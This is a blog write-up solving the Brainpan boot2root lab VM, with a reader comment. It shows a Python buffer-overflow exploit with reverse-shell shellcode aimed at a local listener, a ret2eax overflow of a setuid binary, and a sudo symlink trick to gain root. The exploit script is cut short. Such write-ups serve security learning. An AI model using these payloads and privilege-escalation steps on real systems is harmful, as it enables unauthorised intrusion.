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solving brainpan

Brainpan is the brainchild of superkojiman over at [vulnhub \[https://vulnhub.com/entry/brainpan_1,51/\]](https://vulnhub.com/entry/brainpan_1,51/), and has some pretty interesting (and frustrating) twists and turns. This boot2root is more focused on exploitation of 0days in custom written software, with no metasploit modules or google hunting necessary. With that, the nmap:

```
root@127:~# nmap -sS -A -p- -T5 192.168.1.110
```

```
Starting Nmap 6.25 ( http://nmap.org ) at 2013-03-27 22:06 CDT
Nmap scan report for brainpan (192.168.1.110)
Host is up (0.00040s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http   SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
|_ndmp-version:
|_ ERROR: Failed to get host information from server
```

Port 10000 just serves up a page about various exploit statistics in web apps, but 9999 serves up a login page:

```
root@127:~# nc 192.168.1.110 9999
```

[_____ WELCOME TO BRAINPAN
ENTER THE PASSWORD

```
>> whoareyou
ACCESS DENIED
```

```
root@127:~#
```

That's it. I tried a few basic injections and default passwords to no avail. I fired up DirBuster to see what I could find, and very quickly I stumbled onto `/bin/`, which contained a single file: `brainpan.exe`. I loaded this up into a debugger to see what was inside:

Send feedback


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
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
[http://4.bp.blogspot.com/-XGWNxG1FbCY/UVPCvoJc0LI/AAAAAAAAAbc/J-HSrap9_jw/s1600/brainpan.jpg]

It appeared that our password was shitstorm, following a strcpy of the incoming buffer. I fired up the .exe in a VM to see what it did:



[http://4.bp.blogspot.com/-YnR2vIwbglS/UVPDmWYEZWI/AAAAAAAAAbk
/ZOLdSGpMovq/s1600/brainpan_loaded.jpg]

Looks like this is just a copy of the program that is running in the virtual machine, and according to my registers, vulnerable:



[http://3.bp.blogspot.com/-uR5L_LXkS8o/UVPEtg3qFXI/AAAAAAAAAAbs/zgjG9FTKst0/s1600/brainpan_asploded.jpg]

So it appears we need to attach to the login form and see if we can get it to explode with shell execution. I find it interesting that we were given a [Send Feedback](#)

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
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and shift by one or two bytes:



http://2.bp.blogspot.com/-c19Y3eKE7cE/UVWx2YwTsrI/AAAAAAAAAb8/Rg_YzDb8n4/s1600/wat.jpg

To mitigate this, instead of my payload looking like this:

[524 bytes of junk | JMP ESP | NOPs | shellcode]

I had to jump a little further back to take advantage of some extra instructions:

[520 bytes of junk | 4 NOP bytes | PUSH EBP; MOV EBP,ESP JMP ESP | NOPs | shellcode]

This aligned my stack properly and allowed me to run a reverse shell. Here's the exploit:

```
import socket

# msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.1.74 LPORT=4444
#[*] x86/shikata_ga_nai succeeded with size 95 (iteration=1)

shell = "\xdb\xc8\xbf\x12\xad\xd5\x16\xd9\x74\x24\xf4\x58\x29\xc9\x11"
shell += "\x12\x31\x78\x17\x03\x78\x17\x83\xfa\x51\x37\xe3\xcb\x72\x11"
shell += "\xef\x78\xc6\xe3\x9a\x7c\x41\xe2\xeb\xe6\x9c\x65\x98\xbf\x11"
shell += "\x59\x52\xbf\x86\xdc\x95\xd7\xd8\xb7\x67\x6d\xb1\xc5\x67\x11"
shell += "\xfa\x43\x86\xc2\x9a\x03\x18\x71\xd0\xa7\x13\x94\xdb\x28\x11"
shell += "\x3e\xcb\x07\x05\xd6\x7b\x77\x8b\x4f\x12\x0e\xa8\xdd\xb9\x11"
shell += "\xce\x51\x36\x57\x90";

try:
    payload = '\x41' * 520          #junk
    payload += '\x90'*4             #ebp
    payload += '\xf0\x12\x17\x31'  #push ebp; mov ebp,esp; jmp esp
    payload += '\x90'*50            #nop sled
```

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I then had a connected shell waiting for me on 192.168.1.74; a bit of enumeration (I added the dollar signs):

```
$ whoami
puck
$ uname -a
Linux brainpan 3.5.0-25-generic #39-Ubuntu SMP Mon Feb 25 19:02:34
$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
$ ls /home/
anansi
puck
reynard
```

To ease my curiosity about the ELF/EXE web server running:

```
$ cat /home/puck/checksrv.sh
#!/bin/bash
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then
    pid=`ps aux | grep brainpan.exe | grep -v grep`
    if [[ ! -z $pid ]]; then
        kill -9 $pid
        killall wineserver
        killall winedevice.exe
    fi
    /usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi

# run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then
    pid=`ps aux | grep SimpleHTTPServer | grep -v grep`
    if [[ ! -z $pid ]]; then
        kill -9 $pid
    fi
    cd /home/puck/web
    /usr/bin/python -m SimpleHTTPServer 10000
fi
```

It's not actually an elf, but an exe that's running under WINE. Another interesting bit:

```
$ which gcc
$ which cc
$ which gdb
$ which objdump
```

So if we happen to find any more binaries to exploit, we need to hack on it blind. And in this case...

```
$ find / -perm +6000 -type f -exec ls -ld {} \; > setuid; echo done
$ cat setuid
```

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```

-rwsr-xr-x 2 root root 115140 Feb 27 14:27 /usr/bin/sudo
-rwxr-sr-x 1 root shadow 45292 Sep  6 2012 /usr/bin/chage
-rwxr-sr-x 1 root crontab 34784 Jun 14 2012 /usr/bin/crontab
-rwsr-xr-x 1 root root 60344 Jun 18 2012 /usr/bin/mtr
-rwxr-sr-x 1 root mail 13944 Jun 14 2012 /usr/bin/dotlockfile
-rwsr-xr-x 1 root root 30936 Sep  6 2012 /usr/bin/newgrp
-rwsr-xr-x 1 root root 31756 Sep  6 2012 /usr/bin/chsh
-rwxr-sr-x 1 root mlocate 34452 Aug 14 2012 /usr/bin/mlocate
-rwxr-sr-x 1 root shadow 18128 Sep  6 2012 /usr/bin/expiry
-rwxr-sr-x 1 root tty 9736 Jun 18 2012 /usr/bin/bsd-write
-rwsr-xr-x 2 root root 115140 Feb 27 14:27 /usr/bin/sudoedit
-rwsr-xr-x 1 root root 40300 Sep  6 2012 /usr/bin/chfn
-rwxr-sr-x 3 root mail 9704 Oct  2 17:32 /usr/bin/mail-lock
-rwsr-xr-x 1 root root 14020 Oct  2 17:26 /usr/bin/traceroute6.iput
-rwsr-xr-x 1 daemon daemon 46576 Jun 11 2012 /usr/bin/at
-rwsr-xr-x 1 root lpadmin 13672 Dec  4 09:21 /usr/bin/lppasswd
-rwxr-sr-x 3 root mail 9704 Oct  2 17:32 /usr/bin/mail-touchlock
-rwsr-xr-x 1 root root 41292 Sep  6 2012 /usr/bin/passwd
-rwsr-xr-x 1 root root 57964 Sep  6 2012 /usr/bin/gpasswd
-rwxr-sr-x 3 root mail 9704 Oct  2 17:32 /usr/bin/mail-unlock
-rwxr-sr-x 1 root ssh 128424 Sep  6 2012 /usr/bin/ssh-agent
-rwsr-sr-x 1 libuuid libuuid 17996 Sep  6 2012 /usr/sbin/uuid
-rwsr-xr-- 1 root dip 301944 Sep 26 2012 /usr/sbin/pppd
-rwsr-xr-x 1 anansi anansi 8761 Mar  4 11:06 /usr/local/bin/validate
-rwsr-xr-- 1 root messagebus 317564 Oct  3 16:00 /usr/lib/dbus-1.0/
-rwsr-xr-x 1 root root 248064 Sep  6 2012 /usr/lib/openssh/ssh-key
-rwsr-xr-x 1 root root 5452 Jun 25 2012 /usr/lib/eject/dmccrypt-get
-rwsr-xr-x 1 root root 9740 Oct  3 21:46 /usr/lib/pt_chown
-rwxr-sr-x 1 root shadow 30372 Jul  3 2012 /sbin/unix_chkpwd

```

The bolded entry in our list appears to be suid one of the other users, so it's likely we'll need to attack this one. And, as mentioned earlier, we have zero debugging tools. To make matters even worse:

```
$ cat /proc/sys/kernel/randomize_va_space
2
```

This means full address space layout randomization is enabled. This should be fun without debugging tools.

One solution (and one my good friend [@mulitia](https://twitter.com/iMulitia) [https://twitter.com/iMulitia] used) is to put shellcode into an environmental variable, netcat over a binary for finding its address, then spamming VAS with that address. This is a brute-force method that works, but in a real environment might not be the most stealthy of ways. Another way is to make use of a JMP [register] (say, one we control) and move execution to shellcode space. If we objdump the binary and hunt for JMP, there are none which point to registers. Another option is CALL, which is essentially a macro to push/jmp:

```

root@bt:~/brainpan# objdump -M intel -d validate | grep "call"
8048353: e8 00 00 00 00      call 8048358 <_init+0xc>
8048369: e8 1e 00 00 00      call 804838c <_gmon_start_
804836e: e8 1d 01 00 00      call 8048490 <frame_dummy>
8048373: e8 98 02 00 00      call 8048610 <_do_global_

```

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8048558: e8 6f fe ff ff call 80483cc <printf@plt>
804856c: e8 5b fe ff ff call 80483cc <printf@plt>
804857c: e8 33 ff ff ff call 80484b4 <validate>
8048593: e8 44 fe ff ff call 80483dc <puts@plt>
80485b6: e8 4f 00 00 00 call 804860a <__i686.get_pc
80485c4: e8 83 fd ff ff call 804834c <_init>
80485f4: ff 94 b3 18 ff ff call DWORD PTR [ebx+esi*4-0
804862b: ff d0 call eax
8048643: e8 00 00 00 00 call 8048648 <_fini+0xc>
804864f: e8 dc fd ff ff call 8048430 <__do_global_d
root@bt:~/brainpan#

```

Two options here! Let's see if we control EAX...

```

root@bt:~/brainpan# gdb ./validate
Reading symbols from /root/brainpan/validate...done.
(gdb) r $(perl -e 'print "\x41"x120')
Starting program: /root/brainpan/validate $(perl -e 'print "\x41"x1
warning: the debug information found in "/lib/ld-2.11.1.so" does no

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/x $eax
0xffffd3e8: 0x41414141
(gdb)

```

Great, we can now leverage a ret2eax attack. We'll just need to fill up the required 116 bytes prior to the EIP overwrite, then fill that with our CALL EAX:

```

$ ./validate $(perl -e 'print "\xbe\x1f\x41\x25\xe8\xd9\xed\xd9\x74'
$ whoami
anansi

```

Success; another local user. I'd like to briefly note that we had alot of issues getting shellcode to work if it was placed after the NOP sled, as opposed to before.

Now that we've got our second account, we can hunt around the system in search of more binaries to exploit. As our prior search discovered, nothing is suid root. Checking out /home/anansi gives us:

```

$ pwd && ls -lh
/home/anansi/bin
total 8.0K
-rwxr-xr-x 1 anansi anansi 7.1K Mar  4 10:58 anansi_util
$ ./anansi_util
Usage: ./anansi_util [action]
Where [action] is one of:
- network
- procllist
- manual [command]

```

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User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util

It would appear we can sudo ./anansi_util without the need for a password. And we own the binary!

```
$ mv anansi_util anansi_util_bkp
$ ln -s /bin/sh ./anansi_util
$ ls -lh
total 8.0K
lrwxrwxrwx 1 anansi puck      7 Mar 31 15:27 anansi_util -> /bin/sh
-rwxr-xr-x 1 anansi anansi 7.1K Mar  4 10:58 anansi_util_bkp
$ sudo ./anansi_util
$ whoami
root
```

One of the more interesting boot2root's I've had the privilege of exploiting, and a trend I hope to see continue.

Posted 2nd April by [drone](#)

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Bas [April 2, 2013 at 12:51 PM](#)

Nice writeup! I didn't realize that you can use ret2eax. I used a bruteforce ret2libc myself, but like you say, not stealthy. For the brainpan.exe running in Wine, if you open it in OllyDbg and search for exported functions, there is one called "winkwink" @ 0x311712F0 which contains a JMP ESP :)

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